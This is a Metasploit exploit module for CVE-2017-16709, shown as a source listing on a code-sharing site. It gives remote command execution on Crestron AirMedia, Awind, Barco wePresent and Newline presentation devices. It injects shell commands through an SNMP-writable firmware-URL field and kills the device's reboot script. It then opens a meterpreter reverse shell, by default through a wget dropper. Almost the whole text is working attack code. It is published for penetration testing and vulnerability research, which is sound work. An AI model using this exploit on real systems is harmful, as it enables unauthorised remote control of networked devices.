Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/snmp/awind_snmp_exec.rb
32248 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::SNMPClient
10
include Msf::Exploit::CmdStager
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'AwindInc SNMP Service Command Injection',
17
'Description' => %q{
18
This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection.
19
A valid SNMP read-write community is required to exploit this vulnerability.
20
21
The following devices are known to be affected by this issue:
22
23
* Crestron Airmedia AM-100 <= version 1.5.0.4
24
* Crestron Airmedia AM-101 <= version 2.5.0.12
25
* Awind WiPG-1600w <= version 2.0.1.8
26
* Awind WiPG-2000d <= version 2.1.6.2
27
* Barco wePresent 2000 <= version 2.1.5.7
28
* Newline Trucast 2 <= version 2.1.0.5
29
* Newline Trucast 3 <= version 2.1.3.7
30
},
31
'License' => MSF_LICENSE,
32
'Author' => [
33
'Quentin Kaiser <kaiserquentin[at]gmail.com>'
34
],
35
'References' => [
36
['CVE', '2017-16709'],
37
['URL', 'https://github.com/QKaiser/awind-research'],
38
['URL', 'https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/']
39
],
40
'DisclosureDate' => '2019-03-27',
41
'Privileged' => true,
42
'Targets' => [
43
[
44
'Unix In-Memory',
45
{
46
'Platform' => 'unix',
47
'Arch' => ARCH_CMD,
48
'Type' => :unix_memory,
49
'Payload' => {
50
'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'openssl' }
51
}
52
}
53
],
54
[
55
'Linux Dropper',
56
{
57
'Platform' => 'linux',
58
'Arch' => ARCH_ARMLE,
59
'CmdStagerFlavor' => %w[wget],
60
'Type' => :linux_dropper
61
}
62
]
63
],
64
'DefaultTarget' => 1,
65
'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp' },
66
'Notes' => {
67
'Reliability' => UNKNOWN_RELIABILITY,
68
'Stability' => UNKNOWN_STABILITY,
69
'SideEffects' => UNKNOWN_SIDE_EFFECTS
70
}
71
)
72
)
73
74
register_options(
75
[
76
OptString.new('COMMUNITY', [true, 'SNMP Community String', 'private']),
77
]
78
)
79
end
80
81
def check
82
begin
83
connect_snmp
84
sys_description = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s
85
print_status("Target system is #{sys_description}")
86
# AM-100 and AM-101 considered EOL, no fix so no need to check version.
87
model = sys_description.scan(/Crestron Electronics (AM-100|AM-101)/).flatten.first
88
case model
89
when 'AM-100', 'AM-101'
90
return CheckCode::Vulnerable
91
else
92
# TODO: insert description check for other vulnerable models (that I don't have)
93
# In the meantime, we return 'safe'.
94
return CheckCode::Safe
95
end
96
rescue SNMP::RequestTimeout
97
print_error("#{ip} SNMP request timeout.")
98
rescue Rex::ConnectionError
99
print_error("#{ip} Connection refused.")
100
rescue SNMP::UnsupportedVersion
101
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
102
rescue ::Interrupt
103
raise $!
104
rescue ::Exception => e
105
print_error("Unknown error: #{e.class} #{e}")
106
ensure
107
disconnect_snmp
108
end
109
Exploit::CheckCode::Unknown
110
end
111
112
def inject_payload(cmd)
113
connect_snmp
114
varbind = SNMP::VarBind.new([1, 3, 6, 1, 4, 1, 3212, 100, 3, 2, 9, 1, 0], SNMP::OctetString.new(cmd))
115
resp = snmp.set(varbind)
116
if resp.error_status == :noError
117
print_status('Injection successful')
118
else
119
print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")
120
end
121
rescue SNMP::RequestTimeout
122
print_error("#{ip} SNMP request timeout.")
123
rescue Rex::ConnectionError
124
print_error("#{ip} Connection refused.")
125
rescue SNMP::UnsupportedVersion
126
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
127
rescue ::Interrupt
128
raise $!
129
rescue ::Exception => e
130
print_error("Unknown error: #{e.class} #{e}")
131
ensure
132
disconnect_snmp
133
end
134
135
def trigger
136
connect_snmp
137
varbind = SNMP::VarBind.new([1, 3, 6, 1, 4, 1, 3212, 100, 3, 2, 9, 5, 0], SNMP::Integer32.new(1))
138
resp = snmp.set(varbind)
139
if resp.error_status == :noError
140
print_status('Trigger successful')
141
else
142
print_status("OID not writable or does not provide WRITE access with community '#{datastore['COMMUNITY']}'")
143
end
144
rescue SNMP::RequestTimeout
145
print_error("#{ip} SNMP request timeout.")
146
rescue Rex::ConnectionError
147
print_error("#{ip} Connection refused.")
148
rescue SNMP::UnsupportedVersion
149
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
150
rescue ::Interrupt
151
raise $!
152
rescue ::Exception => e
153
print_error("Unknown error: #{e.class} #{e}")
154
ensure
155
disconnect_snmp
156
end
157
158
def exploit
159
case target['Type']
160
when :unix_memory
161
execute_command(payload.encoded)
162
when :linux_dropper
163
execute_cmdstager
164
end
165
end
166
167
def execute_command(cmd, _opts = {})
168
# The payload must start with a valid FTP URI otherwise the injection point is not reached
169
cmd = "ftp://1.1.1.1/$(#{cmd})"
170
171
# When the FTP download fails, the script calls /etc/reboot.sh and we loose the callback
172
# We therefore kill /etc/reboot.sh before it reaches /sbin/reboot with that command and
173
# keep our reverse shell opened :)
174
cmd << '$(pkill -f /etc/reboot.sh)'
175
176
# the MIB states that camFWUpgradeFTPURL must be 255 bytes long so we pad
177
cmd << 'A' * (255 - cmd.length)
178
179
# we inject our payload in camFWUpgradeFTPURL
180
print_status('Injecting payload')
181
inject_payload(cmd)
182
183
# we trigger the firmware download via FTP, which will end up calling this
184
# "/bin/getRemoteURL.sh %s %s %s %d"
185
print_status('Triggering call')
186
trigger
187
end
188
end
189
190